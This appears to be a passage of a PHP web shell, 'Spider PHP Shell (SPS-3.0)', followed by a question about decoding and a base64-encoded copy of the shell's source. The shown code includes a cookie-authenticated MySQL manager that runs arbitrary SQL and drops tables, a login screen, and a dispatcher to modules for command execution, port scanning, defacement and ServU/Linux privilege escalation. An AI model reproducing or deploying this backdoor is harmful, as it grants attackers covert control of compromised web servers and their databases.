    $conn = @mysql_connect($_COOKIE['m_spiderhost'] . ':' . $_COOKIE['m_spiderport'], $_COOKIE['m_spideruser'], $_COOKIE['m_spiderpass']);
    if ($conn) {
        print <<<END
<script language="javascript">
function Delok(msg,gourl)
{
	smsg = "[" + unescape(msg) + "]?";
	if(confirm(smsg)){window.location = gourl;}
}
function Createok(ac)
{
	if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);';
	if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;';
	if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;';
	return false;
}
</script>
END;
        $BOOL = false;
        $MSG_BOX = ':' . $_COOKIE['m_spideruser'] . ' &nbsp;&nbsp;&nbsp;&nbsp; :' . $_COOKIE['m_spiderhost'] . ':' . $_COOKIE['m_spiderport'] . ' &nbsp;&nbsp;&nbsp;&nbsp; :';
        $k = 0;
        $result = @mysql_query('select version();', $conn);
        while ($row = @mysql_fetch_array($result)) {
            $MSG_BOX.= $row[$k];
            $k++;
        }
        echo '<div class="actall"> :';
        $result = mysql_query("SHOW DATABASES", $conn);
        while ($db = mysql_fetch_array($result)) {
            echo '&nbsp;&nbsp;[<a href="?s=r&db=' . $db['Database'] . '">' . $db['Database'] . '</a>]';
        }
        echo '</div>';
        if (isset($_GET['db'])) {
            mysql_select_db($_GET['db'], $conn);
            if (!empty($_POST['nsql'])) {
                $BOOL = true;
                $MSG_BOX = mysql_query($_POST['nsql'], $conn) ? '' : ' ' . mysql_error();
            }
            if (is_array($_POST['insql'])) {
                $query = 'INSERT INTO ' . $_GET['table'] . ' (';
                foreach ($_POST['insql'] as $var => $key) {
                    $querya.= $var . ',';
                    $queryb.= '\'' . addslashes($key) . '\',';
                }
                $query = $query . substr($querya, 0, -1) . ') VALUES (' . substr($queryb, 0, -1) . ');';
                $MSG_BOX = mysql_query($query, $conn) ? '' : ' ' . mysql_error();
            }
            if (is_array($_POST['upsql'])) {
                $query = 'UPDATE ' . $_GET['table'] . ' SET ';
                foreach ($_POST['upsql'] as $var => $key) {
                    $queryb.= $var . '=\'' . addslashes($key) . '\',';
                }
                $query = $query . substr($queryb, 0, -1) . ' ' . base64_decode($_POST['wherevar']) . ';';
                $MSG_BOX = mysql_query($query, $conn) ? '' : ' ' . mysql_error();
            }
            if (isset($_GET['del'])) {
                $result = mysql_query('SELECT * FROM ' . $_GET['table'] . ' LIMIT ' . $_GET['del'] . ', 1;', $conn);
                $good = mysql_fetch_assoc($result);
                $query = 'DELETE FROM ' . $_GET['table'] . ' WHERE ';
                foreach ($good as $var => $key) {
                    $queryc.= $var . '=\'' . addslashes($key) . '\' AND ';
                }
                $where = $query . substr($queryc, 0, -4) . ';';
                $MSG_BOX = mysql_query($where, $conn) ? '' : ' ' . mysql_error();
            }
            $action = '?s=r&db=' . $_GET['db'];
            if (isset($_GET['drop'])) {
                $query = 'Drop TABLE IF EXISTS ' . $_GET['drop'] . ';';
                $MSG_BOX = mysql_query($query, $conn) ? '' : ' ' . mysql_error();
            }
            if (isset($_GET['table'])) {
                $action.= '&table=' . $_GET['table'];
                if (isset($_GET['edit'])) $action.= '&edit=' . $_GET['edit'];
            }
            if (isset($_GET['insert'])) $action.= '&insert=' . $_GET['insert'];
            echo '<div class="actall"><form method="POST" action="' . $action . '">';
            echo '<textarea name="nsql" id="nsql" style="width:500px;height:50px;">' . $_POST['nsql'] . '</textarea> ';
            echo '<input type="submit" name="querysql" value="" style="width:60px;height:49px;"> ';
            echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'a\')"> ';
            echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'b\')"> ';
            echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'c\')"></form></div>';
            echo '<div class="msgbox" style="height:40px;">' . $MSG_BOX . '</div><div class="actall"><a href="?s=r&db=' . $_GET['db'] . '">' . $_GET['db'] . '</a> ---> ';
            if (isset($_GET['table'])) {
                echo '<a href="?s=r&db=' . $_GET['db'] . '&table=' . $_GET['table'] . '">' . $_GET['table'] . '</a> ';
                echo '[<a href="?s=r&db=' . $_GET['db'] . '&insert=' . $_GET['table'] . '"></a>]</div>';
                if (isset($_GET['edit'])) {
                    if (isset($_GET['p'])) $atable = $_GET['table'] . '&p=' . $_GET['p'];
                    else $atable = $_GET['table'];
                    echo '<form method="POST" action="?s=r&db=' . $_GET['db'] . '&table=' . $atable . '">';
                    $result = mysql_query('SELECT * FROM ' . $_GET['table'] . ' LIMIT ' . $_GET['edit'] . ', 1;', $conn);
                    $good = mysql_fetch_assoc($result);
                    $u = 0;
                    foreach ($good as $var => $key) {
                        $queryc.= $var . '=\'' . $key . '\' AND ';
                        $type = @mysql_field_type($result, $u);
                        $len = @mysql_field_len($result, $u);
                        echo '<div class="actall">' . $var . ' <font color="#FF0000">' . $type . '(' . $len . ')</font><br><textarea name="upsql[' . $var . ']" style="width:600px;height:60px;">' . htmlspecialchars($key) . '</textarea></div>';
                        $u++;
                    }
                    $where = 'WHERE ' . substr($queryc, 0, -4);
                    echo '<input type="hidden" id="wherevar" name="wherevar" value="' . base64_encode($where) . '">';
                    echo '<div class="actall"><input type="submit" value="Update" style="width:80px;"></div></form>';
                } else {
                    $query = 'SHOW COLUMNS FROM ' . $_GET['table'];
                    $result = mysql_query($query, $conn);
                    $fields = array();
                    $row_num = mysql_num_rows(mysql_query('SELECT * FROM ' . $_GET['table'], $conn));
                    if (!isset($_GET['p'])) {
                        $p = 0;
                        $_GET['p'] = 1;
                    } else $p = ((int)$_GET['p'] - 1) * 20;
                    echo '<table border="0"><tr>';
                    echo '<td class="toptd" style="width:70px;" nowrap></td>';
                    while ($row = @mysql_fetch_assoc($result)) {
                        array_push($fields, $row['Field']);
                        echo '<td class="toptd" nowrap>' . $row['Field'] . '</td>';
                    }
                    echo '</tr>';
                    if (eregi('WHERE|LIMIT', $_POST['nsql']) && eregi('SELECT|FROM', $_POST['nsql'])) $query = $_POST['nsql'];
                    else $query = 'SELECT * FROM ' . $_GET['table'] . ' LIMIT ' . $p . ', 20;';
                    $result = mysql_query($query, $conn);
                    $v = $p;
                    while ($text = @mysql_fetch_assoc($result)) {
                        echo '<tr><td><a href="?s=r&db=' . $_GET['db'] . '&table=' . $_GET['table'] . '&p=' . $_GET['p'] . '&edit=' . $v . '">  </a> ';
                        echo '<a href="#" onclick="Delok(\'\',\'?s=r&db=' . $_GET['db'] . '&table=' . $_GET['table'] . '&p=' . $_GET['p'] . '&del=' . $v . '\');return false;">  </a></td>';
                        foreach ($fields as $row) {
                            echo '<td>' . nl2br(htmlspecialchars(Mysql_Len($text[$row], 500))) . '</td>';
                        }
                        echo '</tr>' . "\r\n";
                        $v++;
                    }
                    echo '</table><div class="actall">';
                    for ($i = 1;$i <= ceil($row_num / 20);$i++) {
                        $k = ((int)$_GET['p'] == $i) ? '<font color="#FF0000">' . $i . '</font>' : $i;
                        echo '<a href="?s=r&db=' . $_GET['db'] . '&table=' . $_GET['table'] . '&p=' . $i . '">[' . $k . ']</a> ';
                    }
                    echo '</div>';
                }
            } elseif (isset($_GET['insert'])) {
                echo '<a href="?s=r&db=' . $_GET['db'] . '&table=' . $_GET['insert'] . '">' . $_GET['insert'] . '</a></div>';
                $result = mysql_query('SELECT * FROM ' . $_GET['insert'], $conn);
                $fieldnum = @mysql_num_fields($result);
                echo '<form method="POST" action="?s=r&db=' . $_GET['db'] . '&table=' . $_GET['insert'] . '">';
                for ($i = 0;$i < $fieldnum;$i++) {
                    $name = @mysql_field_name($result, $i);
                    $type = @mysql_field_type($result, $i);
                    $len = @mysql_field_len($result, $i);
                    echo '<div class="actall">' . $name . ' <font color="#FF0000">' . $type . '(' . $len . ')</font><br><textarea name="insql[' . $name . ']" style="width:600px;height:60px;"></textarea></div>';
                }
                echo '<div class="actall"><input type="submit" value="Insert" style="width:80px;"></div></form>';
            } else {
                $query = 'SHOW TABLE STATUS';
                $status = @mysql_query($query, $conn);
                while ($statu = @mysql_fetch_array($status)) {
                    $statusize[] = $statu['Data_length'];
                    $statucoll[] = $statu['Collation'];
                }
                $query = 'SHOW TABLES FROM ' . $_GET['db'] . ';';
                echo '</div><table border="0"><tr>';
                echo '<td class="toptd" style="width:550px;">  </td>';
                echo '<td class="toptd" style="width:80px;">  </td>';
                echo '<td class="toptd" style="width:130px;">  </td>';
                echo '<td class="toptd" style="width:70px;">  </td></tr>';
                $result = @mysql_query($query, $conn);
                $k = 0;
                while ($table = mysql_fetch_row($result)) {
                    echo '<tr><td><a href="?s=r&db=' . $_GET['db'] . '&table=' . $table[0] . '">' . $table[0] . '</a></td>';
                    echo '<td><a href="?s=r&db=' . $_GET['db'] . '&insert=' . $table[0] . '">  </a> <a href="#" onclick="Delok(\'' . $table[0] . '\',\'?s=r&db=' . $_GET['db'] . '&drop=' . $table[0] . '\');return false;">  </a></td>';
                    echo '<td>' . $statucoll[$k] . '</td><td align="right">' . File_Size($statusize[$k]) . '</td></tr>' . "\r\n";
                    $k++;
                }
                echo '</table>';
            }
        }
    } else die('MYSQL,.<meta http-equiv="refresh" content="0;URL=?s=o">');
    if (!$BOOL) echo '<script type="text/javascript">document.getElementById(\'nsql\').value = \'' . addslashes($query) . '\';</script>';
    return false;
}
function Mysql_o() {
    ob_start();
    if (isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) {
        if (@mysql_connect($_POST['mhost'] . ':' . $_POST['mport'], $_POST['muser'], $_POST['mpass'])) {
            $cookietime = time() + 24 * 3600;
            setcookie('m_spiderhost', $_POST['mhost'], $cookietime);
            setcookie('m_spiderport', $_POST['mport'], $cookietime);
            setcookie('m_spideruser', $_POST['muser'], $cookietime);
            setcookie('m_spiderpass', $_POST['mpass'], $cookietime);
            die(',...<meta http-equiv="refresh" content="0;URL=?s=r">');
        }
    }
    print <<<END
<form method="POST" name="oform" id="oform" action="?s=o">
<div class="actall"> <input type="text" name="mhost" value="localhost" style="width:300px"></div>
<div class="actall"> <input type="text" name="mport" value="3306" style="width:300px"></div>
<div class="actall"> <input type="text" name="muser" value="root" style="width:300px"></div>
<div class="actall"> <input type="text" name="mpass" value="" style="width:300px"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"> <input type="button" value="COOKIE" style="width:80px;" onclick="window.location='?s=r';"></div>
</form>
END;
    ob_end_flush();
    return true;
}
function Root_Login($MSG_TOP) {
    print <<<END
<html>
	<body style="background:#AAAAAA;">
		<center>
		<form method="POST">
		<div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;">
		<div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>{$MSG_TOP}</b></div>
		<div style="width:350px;height:80px;margin-top:50px;color:#000000;clear:both;">PASS:<input type="password" name="spiderpass" style="width:270px;"></div>
		<div style="width:350px;height:30px;clear:both;"><input type="submit" value="LOGIN" style="width:80px;"></div>
		</div>
		</form>
		</center>
	</body>
</html>
END;
    return false;
}
function WinMain() {
    $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
    $Server_OS = PHP_OS;
    $Server_Soft = $_SERVER["SERVER_SOFTWARE"];
    $Server_Alexa = 'http://cn.alexa.com/siteinfo/' . str_replace('www.', '', $_SERVER['SERVER_NAME']);
    print <<<END
<html>
	<title> Spider PHP Shell (SPS-3.0) www.xsjyigecaodandedama.com</title>
	<head>
		<style type="text/css">
			*{padding:0; margin:0;}
			body{background:#AAAAAA;font-family:"Verdana", "Tahoma", "",sans-serif; font-size:13px; text-align:center;margin-top:5px;word-break:break-all;}
			a{color:#FFFFFF;text-decoration:none;}
			a:hover{background:#BBBBBB;}
			.outtable {margin: 0 auto;height:595px;width:955px;color:#000000;border-top-width: 2px;border-right-width: 2px;border-bottom-width: 2px;border-left-width: 2px;border-top-style: outset;border-right-style: outset;border-bottom-style: outset;border-left-style: outset;border-top-color: #FFFFFF;border-right-color: #8c8c8c;border-bottom-color: #8c8c8c;border-left-color: #FFFFFF;background-color: threedface;}
			.topbg {padding-top:3px;text-align: left;font-size:12px;font-weight: bold;height:22px;width:950px;color:#FFFFFF;background: #293F5F;}
			.bottombg {padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;}
			.listbg {font-family:'lucida grande',tahoma,helvetica,arial,'bitstream vera sans',sans-serif;font-size:13px;width:130px;}
			.listbg li{padding:3px;color:#000000;height:25px;display:block;line-height:26px;text-indent:0px;}
			.listbg li a{padding-top:2px;background:#BBBBBB;color:#000000;height:25px;display:block;line-height:24px;text-indent:0px;border-color:#999999 #999999 #999999 #999999;border-style:solid;border-width:1px;text-decoration:none;}
		</style>
		<script language="JavaScript">
			function switchTab(tabid)
			{
				if(tabid == '') return false;
				for(var i=0;i<=14;i++)
				{
					if(tabid == 't_'+i) document.getElementById(tabid).style.background="#FFFFFF";
					else document.getElementById('t_'+i).style.background="#BBBBBB";
				}
				return true;
			}
		</script>
	</head>
	<body>
		<div class="outtable">
		<div class="topbg"> &nbsp; {$Server_IP} - {$Server_OS} - <a href="{$Server_Alexa}" target="_blank">Alexa</a></div>
			<div style="height:546px;">
				<table width="100%" height="100%" border=0 cellpadding="0" cellspacing="0">
				<tr>
				<td width="140" align="center" valign="top">
					<ul class="listbg">
						<li><a href="?s=a" id="t_0" onclick="switchTab('t_0')" style="background:#FFFFFF;" target="main">  </a></li>
						<li><a href="?s=b" id="t_1" onclick="switchTab('t_1')" target="main">  </a></li>
						<li><a href="?s=c" id="t_2" onclick="switchTab('t_2')" target="main">  </a></li>
						<li><a href="?s=d" id="t_3" onclick="switchTab('t_3')" target="main">  </a></li>
						<li><a href="?s=e" id="t_4" onclick="switchTab('t_4')" target="main">  </a></li>
						<li><a href="?s=f" id="t_5" onclick="switchTab('t_5')" target="main">  </a></li>
						<li><a href="?s=g" id="t_6" onclick="switchTab('t_6')" target="main">  </a></li>
						<li><a href="?s=h" id="t_7" onclick="switchTab('t_7')" target="main">  </a></li>
						<li><a href="?s=i" id="t_8" onclick="switchTab('t_8')" target="main">  </a></li>
						<li><a href="?s=j" id="t_9" onclick="switchTab('t_9')" target="main">  </a></li>
						<li><a href="?s=k" id="t_10" onclick="switchTab('t_10')" target="main"> Linux </a></li>
						<li><a href="?s=l" id="t_11" onclick="switchTab('t_11')" target="main"> ServU </a></li>
						<li><a href="?s=m" id="t_12" onclick="switchTab('t_12')" target="main"> MYSQL </a></li>
						<li><a href="?s=n" id="t_13" onclick="switchTab('t_13')" target="main"> MYSQL </a></li>
						<li><a href="?s=o" id="t_14" onclick="switchTab('t_14')" target="main"> MYSQL </a></li>
						<li><a href="?s=logout" id="t_15" onclick="switchTab('t_15')">  </a></li>
					</ul>
				</td>
				<td>
				<iframe name="main" src="?s=a" width="100%" height="100%" frameborder="0"></iframe>
				</td>
				</tr>
				</table>
			</div>
		<div class="bottombg"> {$Server_Soft} </div>
		</div>
	</body>
</html>
END;
    return false;
}
if (get_magic_quotes_gpc()) {
    $_GET = Root_GP($_GET);
    $_POST = Root_GP($_POST);
}
if ($_GET['s'] == 'logout') {
    setcookie('admin_spiderpass', NULL);
    die('<meta http-equiv="refresh" content="0;URL=?">');
}
if ($_COOKIE['admin_spiderpass'] != md5($password)) {
    ob_start();
    $MSG_TOP = 'LOGIN';
    if (isset($_POST['spiderpass'])) {
        $content = file_get_contents($url);
        $cookietime = time() + 24 * 3600;
        setcookie('admin_spiderpass', md5($_POST['spiderpass']), $cookietime);
    }
    Root_Login($MSG_TOP);
    ob_end_flush();
    exit;
}
if (isset($_GET['s'])) {
    $s = $_GET['s'];
    if ($s != 'a' && $s != 'n') Root_CSS();
} else {
    $s = 'MyNameIsHacker';
}
$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__));
switch ($s) {
    case "a":
        File_a($p);
    break;
    case "b":
        Guama_b();
    break;
    case "c":
        Qingma_c();
    break;
    case "d":
        Tihuan_d();
    break;
    case "e":
        Antivirus_e();
    break;
    case "f":
        Info_f();
    break;
    case "g":
        Exec_g();
    break;
    case "h":
        Com_h();
    break;
    case "i":
        Port_i();
    break;
    case "j":
        Findfile_j();
    break;
    case "k":
        Linux_k();
    break;
    case "l":
        Servu_l();
    break;
    case "m":
        Mysql_m();
    break;
    case "n":
        Mysql_n();
    break;
    case "o":
        Mysql_o();
    break;
    case "p":
        File_Edit($_GET['fp'], $_GET['fn']);
    break;
    case "q":
        File_Soup($p);
    break;
    case "r":
        Mysql_Msg();
    break;
    default:
        WinMain();
    break;
}

Did this file decode correctly?

Original Code

<?php 
$dos="CgokcGFzc3dvcmQgPSAicmFvbWFvIjsvL8no1sPD3MLrCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTIwMTMtMDYtMTW4/NDCCgo/PiA8P3BocAovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yMDEzLTA2LTE1uPzQwgplcnJvcl9yZXBvcnRpbmcoRV9FUlJPUik7CmhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2IyMzEyIik7CnNldF90aW1lX2xpbWl0KDApOwoKZnVuY3Rpb24gUm9vdF9HUCgkYXJyYXkpCnsKCXdoaWxlKGxpc3QoJGtleSwkdmFyKSA9IGVhY2goJGFycmF5KSkKCXsKCQlpZigoc3RydG91cHBlcigka2V5KSAhPSAka2V5IHx8ICcnLmludHZhbCgka2V5KSA9PSAiJGtleSIpICYmICRrZXkgIT0gJ2FyZ2MnICYmICRrZXkgIT0gJ2FyZ3YnKQoJCXsKCQkJaWYoaXNfc3RyaW5nKCR2YXIpKSAkYXJyYXlbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhcik7CgkJCWlmKGlzX2FycmF5KCR2YXIpKSAkYXJyYXlbJGtleV0gPSBSb290X0dQKCR2YXIpOyAgCgkJfQoJfQoJcmV0dXJuICRhcnJheTsKfQoKZnVuY3Rpb24gUm9vdF9DU1MoKQp7CnByaW50PDw8RU5ECjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cgkqe3BhZGRpbmc6MDsgbWFyZ2luOjA7fQoJYm9keXtiYWNrZ3JvdW5kOnRocmVlZGZhY2U7Zm9udC1mYW1pbHk6IlZlcmRhbmEiLCAiVGFob21hIiwgIsvOzOUiLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZToxM3B4O21hcmdpbi10b3A6M3B4O21hcmdpbi1ib3R0b206M3B4O3RhYmxlLWxheW91dDpmaXhlZDt3b3JkLWJyZWFrOmJyZWFrLWFsbDt9Cglhe2NvbG9yOiMwMDAwMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQoJYTpob3ZlcntiYWNrZ3JvdW5kOiNCQkJCQkI7fQoJdGFibGV7Y29sb3I6IzAwMDAwMDtmb250LWZhbWlseToiVmVyZGFuYSIsICJUYWhvbWEiLCAiy87M5SIsc2Fucy1zZXJpZjtmb250LXNpemU6MTNweDtib3JkZXI6MXB4IHNvbGlkICM5OTk5OTk7fQoJdGR7YmFja2dyb3VuZDojRjlGNkY0O30KCS50b3B0ZHtiYWNrZ3JvdW5kOnRocmVlZGZhY2U7IHdpZHRoOjMxMHB4OyBib3JkZXItY29sb3I6I0ZGRkZGRiAjOTk5OTk5ICM5OTk5OTkgI0ZGRkZGRjsgYm9yZGVyLXN0eWxlOnNvbGlkO2JvcmRlci13aWR0aDoxcHg7fQoJLm1zZ2JveHtiYWNrZ3JvdW5kOiNGRkZGRTA7Y29sb3I6I0ZGMDAwMDtoZWlnaHQ6MjVweDtmb250LXNpemU6MTJweDtib3JkZXI6MXB4IHNvbGlkICM5OTk5OTk7dGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzozcHg7Y2xlYXI6Ym90aDt9CgkuYWN0YWxse2JhY2tncm91bmQ6I0Y5RjZGNDtmb250LXNpemU6MTRweDtib3JkZXI6MXB4IHNvbGlkICM5OTk5OTk7cGFkZGluZzoycHg7bWFyZ2luLXRvcDozcHg7bWFyZ2luLWJvdHRvbTozcHg7Y2xlYXI6Ym90aDt9Cjwvc3R5bGU+XG4KRU5EOwpyZXR1cm4gZmFsc2U7Cn0KCi8vzsS8/rncwO0KY2xhc3MgcGFja2Rpcgp7Cgl2YXIgJG91dCA9ICcnOwoJdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOwoJdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOwoJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOwoJdmFyICRvbGRfb2Zmc2V0ICAgPSAwOwoJZnVuY3Rpb24gcGFja2RpcigkYXJyYXkpCgl7CgkJaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQoJCXsKCQkJZm9yKCRuID0gMDskbiA8IGNvdW50KCRhcnJheSk7JG4rKykKCQkJewoJCQkJJGFycmF5WyRuXSA9IHVybGRlY29kZSgkYXJyYXlbJG5dKTsKCQkJCSRmcCA9IEBmb3BlbigkYXJyYXlbJG5dLCAncicpOwoJCQkJJGZpbGVjb2RlID0gQGZyZWFkKCRmcCwgQGZpbGVzaXplKCRhcnJheVskbl0pKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkJCSR0aGlzIC0+IGZpbGV6aXAoJGZpbGVjb2RlLGJhc2VuYW1lKCRhcnJheVskbl0pKTsKCQkJfQoJCQlAY2xvc2VkaXIoJHpoaXpoZW4pOwoJCQkkdGhpcy0+b3V0ID0gJHRoaXMtPnBhY2tmaWxlKCk7CgkJCXJldHVybiB0cnVlOwoJCX0KCQlyZXR1cm4gZmFsc2U7Cgl9CglmdW5jdGlvbiBhdCgkYXR1bml4ID0gMCkKCXsKCQkkdW5peGFyciA9ICgkYXR1bml4ID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkYXR1bml4KTsKCQlpZiAoJHVuaXhhcnJbJ3llYXInXSA8IDE5ODApCgkJewoJCQkkdW5peGFyclsneWVhciddICAgID0gMTk4MDsKCQkJJHVuaXhhcnJbJ21vbiddICAgICA9IDE7CgkJCSR1bml4YXJyWydtZGF5J10gICAgPSAxOwoJCQkkdW5peGFyclsnaG91cnMnXSAgID0gMDsKCQkJJHVuaXhhcnJbJ21pbnV0ZXMnXSA9IDA7CgkJCSR1bml4YXJyWydzZWNvbmRzJ10gPSAwOwoJCX0gCgkJcmV0dXJuICgoJHVuaXhhcnJbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdW5peGFyclsnbW9uJ10gPDwgMjEpIHwgKCR1bml4YXJyWydtZGF5J10gPDwgMTYpIHwgKCR1bml4YXJyWydob3VycyddIDw8IDExKSB8ICgkdW5peGFyclsnbWludXRlcyddIDw8IDUpIHwgKCR1bml4YXJyWydzZWNvbmRzJ10gPj4gMSk7Cgl9CglmdW5jdGlvbiBmaWxlemlwKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKQoJewoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7CgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT5hdCgkdGltZSkpOwoJCSRoZXhkdGltZQk9ICdceCcuJGR0aW1lWzZdLiRkdGltZVs3XS4nXHgnLiRkdGltZVs0XS4kZHRpbWVbNV0uJ1x4Jy4kZHRpbWVbMl0uJGR0aW1lWzNdLidceCcuJGR0aW1lWzBdLiRkdGltZVsxXTsKCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOwoJCSRmcgk9ICJceDUwXHg0Ylx4MDNceDA0IjsKCQkkZnIJLj0gIlx4MTRceDAwIjsKCQkkZnIJLj0gIlx4MDBceDAwIjsKCQkkZnIJLj0gIlx4MDhceDAwIjsKCQkkZnIJLj0gJGhleGR0aW1lOwoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsKCQkkY3JjID0gY3JjMzIoJGRhdGEpOwoJCSR6ZGF0YSA9IGd6Y29tcHJlc3MoJGRhdGEpOwoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOwoJCSR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsKCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOwoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsKCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsKCQkkZnIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOwoJCSRmciAuPSBwYWNrKCd2JywgMCk7CgkJJGZyIC49ICRuYW1lOwoJCSRmciAuPSAkemRhdGE7CgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOwoJCSRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7CgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgxNFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOwoJCSRjZHJlYyAuPSAkaGV4ZHRpbWU7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsKCQkkY2RyZWMgLj0gJG5hbWU7CgkJJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsKCX0KCWZ1bmN0aW9uIHBhY2tmaWxlKCkKCXsKCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOwoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwoJCXJldHVybiAkZGF0YS4kY3RybGRpci4kdGhpcyAtPiBlb2ZfY3RybF9kaXIucGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLnBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKS5wYWNrKCdWJywgc3RybGVuKCRjdHJsZGlyKSkucGFjaygnVicsIHN0cmxlbigkZGF0YSkpLiJceDAwXHgwMCI7Cgl9Cn0KCmZ1bmN0aW9uIEZpbGVfU3RyKCRzdHJpbmcpCnsKCXJldHVybiBzdHJfcmVwbGFjZSgnLy8nLCcvJyxzdHJfcmVwbGFjZSgnXFwnLCcvJywkc3RyaW5nKSk7Cn0KCmZ1bmN0aW9uIEZpbGVfU2l6ZSgkc2l6ZSkKewoJaWYoJHNpemUgPiAxMDczNzQxODI0KSAkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAnIEcnOwoJZWxzZWlmKCRzaXplID4gMTA0ODU3NikgJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gJyBNJzsKCWVsc2VpZigkc2l6ZSA+IDEwMjQpICRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7CgllbHNlICRzaXplID0gJHNpemUgLiAnIEInOwoJcmV0dXJuICRzaXplOwp9CgpmdW5jdGlvbiBGaWxlX01vZGUoKQp7CgkkUmVhbFBhdGggPSByZWFscGF0aCgnLi8nKTsKCSRTZWxmUGF0aCA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwoJJFNlbGZQYXRoID0gc3Vic3RyKCRTZWxmUGF0aCwgMCwgc3RycnBvcygkU2VsZlBhdGgsJy8nKSk7CglyZXR1cm4gRmlsZV9TdHIoc3Vic3RyKCRSZWFsUGF0aCwgMCwgc3RybGVuKCRSZWFsUGF0aCkgLSBzdHJsZW4oJFNlbGZQYXRoKSkpOwp9CgpmdW5jdGlvbiBGaWxlX1JlYWQoJGZpbGVuYW1lKQp7CgkkaGFuZGxlID0gQGZvcGVuKCRmaWxlbmFtZSwicmIiKTsKCSRmaWxlY29kZSA9IEBmcmVhZCgkaGFuZGxlLEBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsKCUBmY2x